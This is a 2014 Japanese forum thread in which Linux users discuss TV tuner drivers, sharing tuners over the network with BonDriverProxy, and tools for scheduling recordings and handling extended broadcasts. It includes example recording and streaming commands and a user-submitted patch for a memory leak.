2014/06/22(日) 20:16:11.97ID:p+R10FJz・同じチャンネルの連続した番組を1つのチューナーでそれぞれに糊代をつけたまま録画できる
・野球などの録画延伸とEPG更新が同時にできる。
が簡単にできるようになるね
で質問なんだけどチューナーの使用状況(使用の有無・チャンネル・用途)がわかるAPIてあるの?
0416login:Penguin
2014/06/22(日) 20:34:24.09ID:AWfMcXnbWindowsのBonDriverの考え方を持ち込むのは?だと思う。
新しいチューナーが出たとして、そのチューナーのLinux用ドライバに加えて
BonDriverを書かなきゃ使えないということになるよね?それはさすがに厳しす
ぎるだろうと思うなあ。現状見てもPT3でchardevドライバ版しか使えないって
ことだろうし。
他の人も書いているけど、LinuxにはDVBがすでにあるのだし、サーバー側の
チューナー制御がDVB経由なら対応チューナーが一気に増えると思う。DVB
ドライバがあるFriio白,PT1,PT2,PT3,PX-S1UDが使えるのではないのかな?
DVB用BonDriverで良いのかもしれないけど。あとサーバー側でB25デコード
機能は欲しい。
WindowsでSpinel使っていたから、Linuxには、ネットワーク経由でチューナー
共有や制御できる機能がないのは残念だなと思っていたので期待してる。
0417login:Penguin
2014/06/22(日) 20:47:00.62ID:PoQYfK5MだけどBonDriverのinterfaceでは視聴してるサービス知らせるすべが無いから
CSのデコードは全サービスをデコードするしか無いからなぁ
0418login:Penguin
2014/06/22(日) 20:55:30.82ID:p+R10FJzFUSE_B25はどうしてる?
0419login:Penguin
2014/06/22(日) 22:11:49.31ID:yqCR4suw0420login:Penguin
2014/06/22(日) 23:25:35.72ID:9K15rOHz> アプリケーションのインターフェースをBonDriverで統一したとしてもWindowsアプリをLinuxに移植できる訳じゃないよね?
ですね
単に現在BonDriverインタフェースを使ってるアプリが移植しやすくなると言うだけです
>>414
PTの刺さってるLinuxマシンがあるならすぐに試せますよ
まあ今LinuxでBonDriverインタフェース使ってるアプリはBonDriverProxy本体とそのおまけのサンプルアプリだけでしょうから、
それでしか試せませんが…
例えばBonDriver_Proxy.soの指定BonDriverをBonDriver_LinuxPT.soとして、BonDriver_LinuxPT.soは/dev/ptXvideo0
を使う様に設定して、サンプルアプリではBonDriver_Proxy.soを使用して複数起動すれば、チューナの使用は一つだけですが、
起動した数だけの録画が行われるはずです
上記設定で、
$ ./sample -b ./BonDriver_Proxy.so -s 0 -c 0 -t 10 -o a.ts & sleep 3;./sample -b ./BonDriver_Proxy.so -s 0 -c 17 -t 5 -o b.ts
な感じで実行した場合、a.tsには最初の3秒がBS朝日で残りの7秒がNHK-BS1、b.tsには5秒のNHK-BS1が出力されるはずです
#ただしこの例の場合、新たな接続があるたびにチャンネル変更要求が投げられそれが受理される形になるので、
#その度毎に既存接続のストリームにはドロップが発生する事になるでしょう
#また、サンプルアプリで保存されるTSは生ストリームなので視聴するにはb25を使うなどしてデスクランブルが必要です
0421login:Penguin
2014/06/22(日) 23:30:52.96ID:9K15rOHz> 使用の有無
この判定は出来たりできなかったり、BonDriver毎の実装依存です
Windowsの例で言うと、大抵のBonDriverは誰かがチューナを使ってる状態だと、CreateBonDriver()での
インスタンス取得に失敗するか、インスタンスが得られても続くOpenTuner()が失敗します
BonDriver_Proxyの場合はチューナが使用されていても共有する関係で、たとえ使用されていても成功するので
使用されているかどうかはわからないですね
> チャンネル
IBonDriver2.hの
virtual const DWORD GetCurSpace(void) = 0;
virtual const DWORD GetCurChannel(void) = 0;
が現在の(BonDriverとしての)チャンネル取得APIです
ただし、まだオープンしていないチューナの現在チャンネルを知る事は出来ません
また、チューナをオープンして、一度もチャンネル設定のリクエストを出していない状態でも知る事は出来ません
> 用途
これに関してもBonDriverインタフェースとしてはその情報は持っていませんね
なので、録画アプリは自分が使用するチューナのみに関しては被らないようにしなきゃいけないのは変わりません
なお、その辺りの空きチューナ管理なども行い、アプリからはどのチューナを使うのか意識しないでも良い
BonDriverも存在します
#移植してませんが、BonDriveProxyのExの方はそう言う感じの用途向けです
0422login:Penguin
2014/06/22(日) 23:57:00.37ID:BasD8bs2やっぱわかりずらいな。
BonDriverProxyは起動するんよね?
BonDriver_Proxy.confのBONDRIVERにBonDriver_LinuxPT.soを設定する。
アドレスとポートは起動したBonDriverProxyのを指定。
BonDiver_linuxPT.confには/dev/pt3video0を指定する?
地上波チューナ使う時は別途
BonDriver_LinuxPT-T.soとか別名のsoとconfつくってデバイスを変更する?
sampleが地上波とCSを同時に使うとかはどうするんだろう?
BonDriver_Proxy1とか作って増やすのかな?
0423login:Penguin
2014/06/23(月) 00:00:37.24ID:9K15rOHzとりあえずchardevドライバ版でつくったのは、単にそれが一番普通に使われてる感じだったからなんですよね
PTシリーズと、あとPX-W3PEもPTシリーズのchardevドライバと(多分意図的に)インタフェースは互換みたいです
#デバイスオープン直後に恐らくスクランブル関連のAPI呼んでますが、それ以外は全く同じです
感覚としては、BonDriver_LinuxPTを雛形にすれば、他のデバイス用のBonDriverつくるのは(デバイスへの
インタフェースが公開されてる限り)そんなに手間ではない感じかなと思ってますが…
BonDriver_DVBは良いアイデアですね
時間が出来たら調べてみます
デスクランブルは…例の著作権法改定のからみで開発者的にはかなりスリリングなので、BonDriverProxyでは
意図的に避けてるんですよね…
#Windows系ではデスクランブル機能を持ってたソフトはTVTestはじめ軒並み機能削除か自粛しちゃいましたが、
#Unix系ではまだごく普通にGitHubに公開されてたりするのでちょっと驚いてるところです
>>417
今時のB-CASカードなら処理速度的には大丈夫なのかなとも思いますが、PT二枚刺しとかでサービス数が
多いトラポンを数チャンネル同時とかはやっぱり厳しいでしょうか
アプリ側でキャッシュを持てば多少マシかな…
まあぶっちゃけsoftcas化がもっとも簡単なんですが、もっとも黒いので選択肢に入りませんね…
0424login:Penguin
2014/06/23(月) 00:39:47.52ID:DN2vhIfe例えば以下PT3一枚の例で話すと、まずBonDriver_LinuxPT.soは物理デバイスと一対一なので四つコピーをつくります
で、それぞれ用にconfもコピーして、使用デバイスに対応させます
e.g.
BonDriver_LinuxPT-S0.so
BonDriver_LinuxPT-S0.so.conf -> /dev/pt3video0を指定
BonDriver_LinuxPT-S1.so
BonDriver_LinuxPT-S1.so.conf -> /dev/pt3video1を指定
BonDriver_LinuxPT-T0.so
BonDriver_LinuxPT-T0.so.conf -> /dev/pt3video2を指定
BonDriver_LinuxPT-T1.so
BonDriver_LinuxPT-T1.so.conf -> /dev/pt3video3を指定
この時点でもサンプルからBonDriver_LinuxPT-S0.so等を指定すれば使えます
0425login:Penguin
2014/06/23(月) 00:42:26.76ID:DN2vhIfeそのそれぞれのconfは、上でつくったBonDriver_LinuxPT.soのコピーをそれぞれ指定します
e.g.
BonDriver_Proxy-S0.so
BonDriver_Proxy-S0.so.conf -> BonDriver_LinuxPT-S0.soを指定
BonDriver_Proxy-S1.so
BonDriver_Proxy-S1.so.conf -> BonDriver_LinuxPT-S1.soを指定
BonDriver_Proxy-T0.so
BonDriver_Proxy-T0.so.conf -> BonDriver_LinuxPT-T0.soを指定
BonDriver_Proxy-T1.so
BonDriver_Proxy-T1.so.conf -> BonDriver_LinuxPT-T1.soを指定
また、confのADDRESSとPORTはもちろんBonDriverProxyを起動した際の引数と同じものを指定します
この状態で、サンプルからBonDriver_Proxy-S0.soを指定すれば、プロキシを通してBonDriver_LinuxPT-S0.soが使用され、
BonDriver_Proxy-T0.soを指定すればBonDriver_LinuxPT-T0.soが使用されます
サンプルからBonDriver_Proxy-S0.soを使用中に、別端末からサンプルをやはりBonDriver_Proxy-S0.soを指定して起動すると、
BonDriver_LinuxPT-S0.soが共有され、/dev/pt3video0からのTSストリームが両方に配信されます
とまあこんな感じですがわかるでしょうか
0426login:Penguin
2014/06/23(月) 01:27:13.24ID:dq7KpCThありがとう。だいぶわかってきた。
もう寝るけどw。むずかしいね。
0427login:Penguin
2014/06/23(月) 10:25:28.82ID:quj7m4zRまあ、DVBがあるからって要らないってことはないよね。
実際、インストールベースを考えるとWinでの開発が先行するだろうし。
よくわからないんだけど、BonDriver_DVBができたら種類の異なるチューナを隠せるんかな。
例えば、PT3とFriioを持ってるとき、PT3が埋まってたらFriioを使うとか。
今うちでは、もっと上位でそれをやってるんだよね。
Shell Script書いて、recpt1とrecfriioを状況に応じて使い分けるみたいな。
ちなみにそのために、recpt1等をいじって終了ステータスを手直ししてるけど。
スクランブルについては、法的問題以外に純粋に作りの話として、
外部にした方がいいんじゃなかろうか。
ま、それは感覚の問題だけど。
0428login:Penguin
2014/06/23(月) 12:23:34.00ID:DN2vhIfe> よくわからないんだけど、BonDriver_DVBができたら種類の異なるチューナを隠せるんかな。
> 例えば、PT3とFriioを持ってるとき、PT3が埋まってたらFriioを使うとか。
元々BonDriver層はPT3やFriioみたいに別のデバイスの差異を吸収するための物ですから、DVB対応かどうかは関係なく、
アプリからはチューナの差異は隠される事になります
しかしDVBによってそれらのデバイスが同じインタフェースで扱えるのなら、それのインタフェースに対応するだけで
複数デバイス対応のBonDriverになるので、その分開発の手間が減って助かるでしょうね
チューナが使われてるかどうかまで管理するかどうかは実装次第ですが、どっちかと言うとアプリ側に任せるのが普通です
ただこの場合、例えば録画アプリが使おうとしてるチューナを別プロセスが使ってしまうと録画失敗する事になるので、
そうならないようにのチューナ共有アプリのチャンネルロック設定です
#もっとも、チューナを使う全部のアプリが共有アプリ経由でアクセスしないと管理できませんが…
0429login:Penguin
2014/06/23(月) 12:32:08.06ID:DN2vhIfe> 外部にした方がいいんじゃなかろうか。
> ま、それは感覚の問題だけど。
その辺は当方もそう思ってます
一つの全部入りの大きなプログラムより、小さな専用ツールを組み合わせて使う方が、何かと小回りが利くので好きです
例えば今あるサンプルを特にいじらなくても、スクランブル解除して保存したいなら
$ ./sample -b ./BonDriver_Proxy-S0.so -s 0 -c 17 -t 60 | b25 -v 0 -p 0 /dev/stdin /path/to/file.ts
みたいな感じで行けますし、vlcにudpストリーミングしたいなら
$ ./sample -b ./BonDriver_Proxy-S0.so -s 0 -c 17 | b25 -v 0 -p 0 /dev/stdin /dev/stdout | nc -u 192.168.0.101 12345
で行けますね
#ncはudpでのこう言う用途に関しては微妙な気もしますが
録画やチャンネル変更用のアプリからは、こんな感じでサンプルに適切な引数付けて起動したり殺したりするだけで
良いワケですから、PTユーザに関しては、ある意味BonDriver対応は既に出来てると言えばできてますね…
#この例のままでは、クライアントが多数接続してくるとB-CASカードの処理能力の都合でデスクランブルが
#間に合わなくなる可能性はありますが
0430login:Penguin
2014/06/23(月) 15:51:20.66ID:quj7m4zR> チューナが使われてるかどうかまで管理するかどうかは実装次第ですが、どっちかと言うとアプリ側に任せるのが普通です
それについては、チューナ側がTest-and-Set的になっててほしい気がする。
コメントされてるとおり、アプリ同士で協調ってちょっと大変だし。
というか、デバイスアクセスの時点でそうならないんかな。
recpt1のソースなんか見ると、SET_CHANNELのioctlの時点でそれわかるみたいだし。
ただ、じゃあそれで使用中の場合次はどれを、というのはアプリでいいと思うんだけど。
>>429
> 一つの全部入りの大きなプログラムより、小さな専用ツールを組み合わせて使う方が、何かと小回りが利くので好きです
まあ、Linux使いならそういうUNIX的感覚があるんじゃないかとか思ったり。
0431login:Penguin
2014/06/23(月) 17:21:34.69ID:st9m78/+アプリってのはBonDriverProxyのことじゃないの?
Spinelしか使ったことないけどBonDriverProxyがSpinel相当ならば
BonDriverProxy側で排他制御してくれるから全チューナーをBonDriverProxy通して使ってれば
録画、視聴アプリ側では排他制御は気にしなくてもいいでしょ
0432login:Penguin
2014/06/23(月) 19:27:50.38ID:DN2vhIfeああ、大抵の実装ではあるデバイスがあるアプリから使用されているのを、別のアプリからオープンしようとすると
失敗するので、「試してみればわかる」のはまあ可能なんですが、録画失敗を避ける為にはそれじゃダメですよね
「チューナの録画での使用予定まで全アプリで協調して制御する」あるいは「使われてても強制的に奪う」事が必要になります
前者は多分無理なので、結局チューナへのアクセスは必ず何らかの管理機構を通して行い、その管理機構が後者の処理を
行うのが現実的、と言う事になります
例えばepgrecが、録画が始まるとリアルタイム視聴用に起動してたrecpt1を殺すとか、そう言う話ですね
チューナ共有アプリのチャンネルロック設定も効果としてはこれと似たような物ですが、プロセスごと殺すのではなく、
視聴用のクライアントからそのチューナのチャンネル制御権を奪うと言う物ですね(録画と視聴チャンネルが同じなら、
そのまま視聴が続けられます)
>>431
> Spinelしか使ったことないけどBonDriverProxyがSpinel相当ならば
> BonDriverProxy側で排他制御してくれるから全チューナーをBonDriverProxy通して使ってれば
> 録画、視聴アプリ側では排他制御は気にしなくてもいいでしょ
これは(どのクライアントが録画用/視聴用かが正しく設定されていれば)その通りです
確かにBonDriver全般の話とチューナ共有ソフト(今の場合はBonDriverProxy)の機能の話が混ざっちゃってる気がしますね
Linuxユーザにはどちらもなじみの無い物かもしれないのでしょうがない部分もあるとは思いますが
0433login:Penguin
2014/06/23(月) 21:01:28.61ID:v8soB1YBchardev→BonDriverの共通ラッパー書けば終わりやん(^_^)
0434login:Penguin
2014/06/23(月) 22:41:44.55ID:UrqYkzjU設定ファイルのデバイスファイル名をpt1にするだけで
「PT2」でも動作しました。
#DEVICE=/dev/pt3video0 → #DEVICE=/dev/pt1video0
0435login:Penguin
2014/06/24(火) 15:49:44.48ID:CGRN0YX5あーなるほど、録画失敗を避けるってのは録画の方を優先したいってことね。
わかるわかる。
それなら、fuserとかでプロセスわかるんだから同じ方法でなんとかなるんじゃなかろうか。
fuserが中で何やってるかよく知らないけど。
でもそれだと、使用中の誰かがリアルタイム視聴なのか録画なのかまではわからないか。
まあ、それについては今度こそアプリ側で
自分の管理対象プロセスかどうかチェックするってことでいいんじゃないかという気がする。
0436login:Penguin
2014/06/24(火) 16:41:22.96ID:v2ma19RF0437login:Penguin
2014/06/25(水) 23:13:25.70ID:alAbLvBncoreライブラリに分かれた c9b1d21c5035 からかな、SID指定でTS保存すると字幕情報が取れてない気がするんだけど、みんなどう?
地上波だと PID 0x0114 あたりだと思うんだけど、
ffmpeg で確認するとPIDはあるんだけどtsselectするとパケット無いんだ
古い recpt1 に戻すとちゃんと出てくる
CSもPIDは違うんだけど字幕ないみたい
SID未指定のフルTSはまだ試してない
0438login:Penguin
2014/06/26(木) 00:27:04.74ID:jxSnb/To>3については通常の映像・音声の再生に支障が無いのを確認していますが無保証です。
>また字幕・5.1chなど私が必要としていないものについては何も検証していません。
0439login:Penguin
2014/06/26(木) 00:53:33.39ID:S6+AoS75おお、完全に私の早とちりでした。
tssplitter-apnd.diff は当ててないつもりが当ててしまっていたようです。
c8688d7d6382 DLしなおして素のまま build したら平気でした。
ごめんなさい。ありがとうございます。
0440login:Penguin
2014/06/26(木) 19:10:45.88ID:ctsx0K82その辺はPT1/2とPT3のchardev版ドライバの開発者の方々が、インタフェース互換でつくってくれてるからですね
>>435
>>436
デバイスを使用しているプロセス列挙と、それらが行ってるのが録画なのか視聴なのかが判別できるのであれば
(やりようはいくらでも有るでしょう)、録画開始時に確認して、チューナが足りなければ視聴用プロセス殺せば
とりあえず用は足りますけどね
まあ結局のところ、チューナ共有にメリットを感じるかどうかは人それぞれでしょうから、現状困ってないし
わざわざ導入する事もねぇな、と言うのも一つの考え方として有りだと思います
0441login:Penguin
2014/06/26(木) 19:16:01.07ID:ctsx0K82ttps://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux
のdevelopブランチの方のBonDriver_LinuxPTを試してみてもらえないでしょうか
上の方で書いた通り、対応簡単そうだったのでとりあえずコードだけは書いてみたんですが、
当方実機を持っておらず動作確認は出来ていないもので…
0442login:Penguin
2014/06/26(木) 22:31:25.24ID:IGubDjYd今出先でザラっと流れ見ただけなんだけど
KVM上のWindows仮想環境で録画ソフト類を動かしておいて
hostのPTxにBondriverをTCP/UDP越しにつないで録画しながら同じチャンネルや空きチャンネルを
LAN内のクライアントでTvTestで見たりできるようにできる?
今はML110G6をファイルサーバ兼仮想環境サーバにしてあって
PT2をPCIパススルーでKVMゲストのWHS2011から見えるようにして
spinel+TVrockで録画管理と自動再エンコードしながらLan内の
各部屋のクライアントのWindowsでTVtestで見れるようにしてるんだ
録画したものはWHSがDLNAサーバも勝手にやってくれるんだが
たまにKVM上のPT2がこける事があるのでパススルーしなくても良くなるなら
ワールドカップ終わったところでやってみる
0443login:Penguin
2014/06/26(木) 23:41:20.94ID:IGubDjYdniceみたいな感じでIPとデバイスIDごとに優先度をconfに書けば録画鯖のIPからのリクエストは
優先度の低いホストの接続を中断して切り替えちゃう
父ちゃんのホストはかーちゃんのホストより優先度が低いとか
デバイスの優先度は最優先のホストに対して決めておいて
優先度の低いホストからはデバイスの優先度も低い順に割り当てられる
切断する場合ホストの優先度>デバイスの優先度にしておいて
優先度の高いリクエストがきたら容赦なく切断されるで良いと思う
ついでに希望としては昔あったVirtualPTみたいに
チューナー共有サーバ形式でクライアント側のBonDriverは
UHF/BS/CS全部を仮想化したチューナとしてサーバと通信する
サーバ側はクライアントのリクエストを空きチューナに
ホスト/デバイスの優先度順で割り付けるとかできるともっと良いなぁ
クライアントのドライバはBondriverとしての
インターフェイスとサーバと通信する機能だけで
サーバ側は共有制御部分と実デバイスのドライバに分かれる感じで
今はUHF/BS/CSごとにチューナーとドライバをセットで指定してるので
クライアントドライバからは実際のデバイスを隠蔽できる方が録画サーバも作りやすいんじゃないか?
0444login:Penguin
2014/06/27(金) 06:31:04.84ID:6gm02sDZPT2+Spinelの分の機能をホスト側に移動したいと言う事ですね
それなら可能だと思います
ただし、BonDriverProxy自体はデスクランブル機能は持っていないので、それに関してはそれぞれのクライアント側で
行う必要があります
#そこに関しては、各クライアントにB-CASカード用意するなり、B-CASカードの処理能力的に大丈夫な範囲で
#BonCasLink等でまとめるなりして下さい
> 排他制御
これに関しては、現在(クライアント側の自己申告で)チャンネルロック権を持つか持たないかの二値だけで制御しています
個人的な要件として、録画用クライアントに確実にチャンネルロック権を持たせる事が出来る事のみが重要だったので
それで事足りているのですが、段階的な優先度の設定も実装するのは多分そんなに面倒ではないと思うので、
必要そうなら考えてみます
#なお、本来的には自己申告でなくサーバ側で設定を持つのが筋ですが、確実に設定が煩雑になってしまうので躊躇してます
> VirtualPT
当方シンプルなのが好みだったので、サーバ側とクライアント側のBonDriverは(機能的には)一対一対応なのをまずつくったのですが、
確かにVirtualPTみたいな制御がしてほしいて声も結構あったので、サーバ側をフォークしてBonDriverProxyExとして公開してます
気が向いたらこっちも移植すれば良いのかな…
チューナの仮想3波化は、BonDriver_RDCTと言うのがソース含めて公開されてるので、上記BonDriverProxyExのクライアントに
設定したBonDriver_Proxyをそれ経由で使えば、要望されてる機能は大体可能かと思いますよ
0445391
2014/06/29(日) 04:54:52.92ID:NiUCYq/Udestroy_queue(p_queue);
をいきなり叩いているのが原因ですね。
p_queue->buffer がリークしている。
暫定パッチ作ったけど欲しい?
夜中の変な勢いで書いたものだけど。
0446login:Penguin
2014/06/29(日) 06:34:25.26ID:NWynDbUH0447login:Penguin
2014/06/29(日) 09:12:09.58ID:Y8Pe/3cqください!
0448login:Penguin
2014/06/29(日) 13:01:42.94ID:U7BI4yqJchinachuで深夜3:05-5:05の番組を録画予約しました。
ところが直前のサッカー中継が延長され、見たい番組は録画できませんでした。
質問1: chinachuは延長未対応という認識で合っていますか?
質問2: Linux(debian)で使えるソフトで延長に対応しているものはありますか?
初心者質問で申し訳ありませんが、よろしくお願いします。
0449login:Penguin
2014/06/29(日) 13:24:23.63ID:NiUCYq/Uhttp://www1.axfc.net/u/3269106
0450login:Penguin
2014/06/29(日) 13:50:59.43ID:NiUCYq/Uごめんなさい。コンパイル通らないものをアップロードしました。
こちらをご利用ください。
http://www1.axfc.net/u/3269120
0451login:Penguin
2014/06/29(日) 14:10:04.59ID:z6oWkA97ついでだから切断後シグナルマスク戻さないからSIGKILLしなきゃならんバグも直してよ
0452login:Penguin
2014/06/29(日) 14:11:52.83ID:Y8Pe/3cqありがとうございます〜!
0453login:Penguin
2014/06/29(日) 14:46:34.55ID:j+vHdLLp修正ありがとうございます。
つまらないことでスルーして貰って結構なんですが、こういうのはdestroyで一緒にやる方が良いんじゃないでしょうか。
0454login:Penguin
2014/06/29(日) 16:12:34.97ID:IV5o2OlCまだそういう認識で合ってると思うよ
現状EPG解析はepgdumpでやってるから録画時にリアルタイムで更新できないはず
複数チューナかつ運が良ければ間に合うかもしれないけど。
SI解析も実装する予定でいるらしいが(ポシャった?)
あれをNodeに実用レベルで載せられるかどうか…
0455448
2014/06/29(日) 18:31:24.74ID:U7BI4yqJありがとうございます。
延長に対応していないのは残念ですがわかりました。
Schedulerログによるとchinachuは1時間ごとに予約を更新しますが、
録画中や深夜1時から朝5時までは更新を休むようです。
(チューナーはPT2×1+PT3×1)
0456login:Penguin
2014/06/29(日) 18:49:46.01ID:ReMJfVhg読み取った内容を解析すること(スクランブル解除を含む)の他に
単純な録画している時間を、実行中に変化させることができなければいけない
要は、recpt1ctlに相当する機能をすべてのrecxxxに持たせなければいけないということ
例えば、recfsusb2nctl、といったものを個別に作る必要がある
こういう点を考えれば、インターフェースを統一してすべてを同じ操作で扱える
bondriver形式にもメリットがある
windows上でいろいろ揉まれた結果でもあるし
さらにspinnel的な扱いが出来ればより良いだろうけどね
0457login:Penguin
2014/06/29(日) 21:15:30.46ID:NGSA/MjH>>441読んで試して見ようと思ったのだけど。
http://www.plex-net.co.jp/product/pxw3pe_download.html
からドライバダウンロードして readme.txt 読んでみたけどRelease note
のみでインストール方法や対応ディストリの記述はないです。
insmodはダメでした。
sudo insmod ./asv5220_dtv.ko
insmod: ERROR: could not insert module ./asv5220_dtv.ko: Invalid module format
対応カーネルバージョン以下の様です。
modinfo ./asv5220_dtv.ko
vermagic: 2.6.32-279.5.1.el6.x86_64 SMP mod_unload modversions
カーネルバージョンで検索するとCentOS6とか出てくるのでRed Hat系?
0458login:Penguin
2014/06/30(月) 00:07:13.47ID:abQ5XaIyパッチをみてみたらepgrecUNAの所で配布してるのと構造が違うので調べてみたらRC4か新本家にRC4をそのまま移植したやつ用か・・・
0459login:Penguin
2014/06/30(月) 00:58:16.48ID:bRxCtVkq0460login:Penguin
2014/06/30(月) 01:26:08.62ID:dfg1knvX0461login:Penguin
2014/06/30(月) 02:02:33.86ID:8CwJEBXv0462login:Penguin
2014/06/30(月) 02:10:06.71ID:6mosU4bC録画中の番組の延長は知らんけど、
開始前の予約は録画開始前にEIT[p/f]をチェックして追随するようにはなってる。
0463login:Penguin
2014/06/30(月) 03:14:31.39ID:DwN01oO6レコーダーごときを?
0464login:Penguin
2014/06/30(月) 03:23:27.43ID:6mosU4bC0465login:Penguin
2014/06/30(月) 07:17:42.97ID:7ocuUzw7違うからもう来んな
0466login:Penguin
2014/06/30(月) 07:19:18.71ID:dfg1knvXじ、じつはそうなんです、、、Orz=3ブッ
0467login:Penguin
2014/06/30(月) 09:06:48.10ID:MA99xvB1プレクのドライバはubuntuはダメだったはず
今まで報告されてる使ってみた事例は全部CentOSだと思う
0468login:Penguin
2014/06/30(月) 09:22:39.28ID:ujPq+PnL細かいことだけど、EIT見るのにはスクランブル解除は要らんのでは?
0469login:Penguin
2014/06/30(月) 11:23:18.73ID:f61EEGBP買ったレコーダーがたまに録画失敗するクソだったんで信用しないことにしました
0470login:Penguin
2014/06/30(月) 15:48:14.78ID:THsPIyp+まず最低限、epgrecとかの録画管理ツールからrecpt1とかの実際の録画ツールに録画設定の変更を伝える
しくみが必要で(recpt1に関しては、recpt1ctlが使えるからここはクリアしてるけど)、
その上で録画管理ツールが延長やイベントリレーの監視と、それらに該当すると判断した場合には、
それを録画ツールに指示するなり新たな録画予約を追加するなりする必要がある
さらに、他の録画予約が入っててチューナーに空きが無い場合はどうするかとかの設定ができる必要もあるだろうし、
録画ツール側はともかく、録画管理ツール側でやらなきゃダメな事がかなり多い
正直epgrecいじって対応しようとするくらいなら、EpgTimerSrv移植とかした方が早いかも
0471login:Penguin
2014/06/30(月) 18:20:04.56ID:Z2o/PPr0epgrecUNAは録画中でもEPGが更新されれば時間を延長してくれる
まあ中の人にスポーツにたいする愛が無いようなので完全自動ではないし他Chの予約と重複するとやめちゃうみたいだけどw
0472login:Penguin
2014/06/30(月) 18:23:12.98ID:aPcosLFkやっぱりUbuntuだとダメなのか。
CentOS6.4での導入事例があったのでCentOSでトライしてみるよ。
http://www2.filewo.net/wordpress/2014/02/05/centos6-4%E3%81%A8px-w3pe%E3%81%A7%E4%BD%9C%E3%82%8B%E9%8C%B2%E7%94%BB%E3%82%B5%E3%83%BC%E3%83%90/
0473login:Penguin
2014/06/30(月) 20:47:20.03ID:THsPIyp+見てみた
イベントリレーはまあ置いておくとして、なるほど、延長する可能性のある番組の後番組の頭だけ予約を入れておいて
EPGの更新を確認する、か
少し面倒ではあるけど、全く対応してないのと比べたら全然マシだね
そこが自動化されたらだいぶ使い勝手良くなりそうだけど、対象の番組を録画してるのとは違うチューナーを使って
EPGの更新確認する関係上、難しいかなぁ
録画ツールを改造して、指定録画時間の最後数分になったらEPG更新用に録画とは別ファイルにも出力とかすれば行けそう?
チューナー共有されてる状態なら、普通に番組録画してるチューナーを共有して使えば良いから話は簡単なんだけど・・・
つーかrecpt1をbondriver使えるように改造すればいいのか?
0474login:Penguin
2014/06/30(月) 21:12:44.01ID:DwN01oO6epgrecUNAのログって、リセットすることはできないでしょうか。
誤ってすごくありふれたキーワードを自動録画ワードにしてしまったので、削除したのですが、大量に予約追加と削除のログが残ってしまいました。
ログを開くたびに、数秒くらい待たされてしまうので、なんとかまっさらにしたいのですが。
0475login:Penguin
2014/06/30(月) 21:59:03.56ID:MA99xvB1ソースは非公開でCentOS用のバイナリだけしか公開しないんなら、
Linux用じゃなくてCentOS用ってちゃんと書けよって思うよね
modinfoではライセンスGPLって表示されるくせにソースは公開してくれないみたいだし、
会社としていろいろと雑な印象
0476login:Penguin
2014/07/01(火) 00:08:54.22ID:F+DeUV5E雑って言うかそれライセンス違反じゃん
0477login:Penguin
2014/07/01(火) 01:08:46.62ID:sI+XcYWl請求しても音沙汰なしっていうケースはよく聞く
0478login:Penguin
2014/07/01(火) 02:06:00.44ID:QUQSWhvITRUNCATE TABLE
0479login:Penguin
2014/07/01(火) 10:52:56.19ID:Zy9veG3Z放送が後ろにずれる場合であれば、
録画用のプロセス(recpt1とか)の起動にスクリプトか何かかませて、
EIT見て適当に眠ってくれるコマンド呼んだ後に録画開始するようにすれば、
ってのはだめ?
チューナの管理はまた別に考えないといけないかもしれないけど。
0480login:Penguin
2014/07/01(火) 18:39:53.25ID:e6olk3A5単に後ろにずれるだけならそれで良いと思う
確かepgrecUNA版がやってるのもそれだったんじゃないかね
0481login:Penguin
2014/07/01(火) 18:41:10.82ID:Raq5LBsF0482login:Penguin
2014/07/01(火) 20:47:09.14ID:ezxEUewa0483login:Penguin
2014/07/02(水) 01:07:53.26ID:M5XTVbsQ下のような構成でPX-W3PEを試してみました。
動作しますね。
・サーバー
CentOS 6.5 64bit (2.6.32-431.20.3.el6.x86_64)
PX-W3PE V1.2 (PX-W3PE_LinuxDriver_ver.1.0.0.zip 64bit asv5220_dtv.ko)
BonDriverProxy + BonDriver_ProxyPT.so (develop branch)
・クライアント
Windows8.1
TVTest + BonDriver_Proxy.dll
ただ、1チューナーに2接続以上すると不安定になる感じです。
TVTestが固まりサーバーでPacket Queue OVERFLOWが多量に出力され
しばらくするとBonDriverProxyが終了してます。
接続クライアント数に応じてFifoやQueueサイズを変更するってことですかね?
0484login:Penguin
2014/07/02(水) 09:59:48.42ID:cRaNnxwLこのスレでいうLinuxというのは、CentOSと思っていいのですか?
他のデストリビューションでは動きませんか?
0485login:Penguin
2014/07/02(水) 10:07:17.03ID:zT0wTg+qW3PEの場合、CentOSのが動作報告多いってだけ(というか>>472辺りの話?)でね?
Chinachuは一応推奨がUbuntuだったりするし。
0486login:Penguin
2014/07/02(水) 10:22:42.31ID:AO9c6Mvs遅ればせながらありがとう。
でも、その他にもいろいろうまく行かないところとかあって、結局DB作成しなおしてしまいました。
みんなはログ膨れ上がったらmysql操作して消してるの?
0487login:Penguin
2014/07/02(水) 12:36:53.34ID:eMEK3G9Mレスどうもです
しかしLinuxはよく分からんなぁ
動いたり動かなかったりラジバンダリ
0488login:Penguin
2014/07/02(水) 12:46:01.85ID:/3ZW/MrBおお、ありがとうございます
3wpeの初期化は、一応はうまく行ってると言う事でしょうか…
> ただ、1チューナーに2接続以上すると不安定になる感じです。
> TVTestが固まりサーバーでPacket Queue OVERFLOWが多量に出力され
> しばらくするとBonDriverProxyが終了してます。
> 接続クライアント数に応じてFifoやQueueサイズを変更するってことですかね?
ありゃ
ウチでUbuntu 14.04 + PT3使って動かしてる分には、キューサイズ等は全部デフォルトのままで1チューナへの
複数接続(チューナ共有)の場合も含めて特に問題なく動いてるので、plexチューナ特有の何かでしょうか…?
ただ、大量の"Packet Queue OVERFLOW"はおそらくサーバからクライアントへのTSストリームを、クライアントが
読み出さない状態が続いた結果だと思うので、その辺を考えると、ネットワーク絡みの何かにも見えますね
#プロセスが終了するのはちとわかりませんが、上記の件の絡みで最終的にメモリ確保に失敗して…とかの線でしょうか
一応の確認ですが、1チューナに2接続以上と言うのは、CentOS上の同じBonDriver_ProxyPT.soをリクエストする
TVTest + BonDriver_Proxy.dllを複数起動したと言う事ですよね?
0489login:Penguin
2014/07/02(水) 12:52:18.97ID:/3ZW/MrBあ、それから、もしWindowsでもチューナとそれにアクセスするBonDriverが使用できる状態であれば、良ければ以下を
試してみていただけないでしょうか?
1. WindowsとLinuxでそれぞれBonDriverProxy(サーバプロセス)を動かす
2. Windows上のTVTest + BonDriver_Proxy.dllからLinux側のサーバプロセスに対してBonDriver_Proxy.soをリクエスト
3. Linux上のBonDriver_Proxy.soはWindows側のサーバプロセスに対してチューナにアクセスするBonDriverをリクエスト
つまり、Windowsから一旦Linuxを経由して結局Windowsのチューナを使用しているだけですが、意図としては、
